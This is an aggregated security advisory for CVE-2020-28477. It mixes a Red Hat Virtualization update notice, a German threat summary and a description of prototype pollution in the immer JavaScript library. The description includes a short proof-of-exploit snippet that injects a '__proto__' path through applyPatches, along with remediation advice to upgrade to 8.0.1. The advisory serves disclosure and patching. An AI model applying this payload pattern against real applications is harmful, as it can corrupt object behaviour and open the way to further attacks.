CVE-2020-28477

An update is now available for Red Hat Virtualization Engine 4.4. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in der Red Hat Virtualization Engine ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, beliebigen Code auszuführen, einen Denial of Service Zustand auszulösen und kryptographische Maßnahmen zu umgehen.

## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.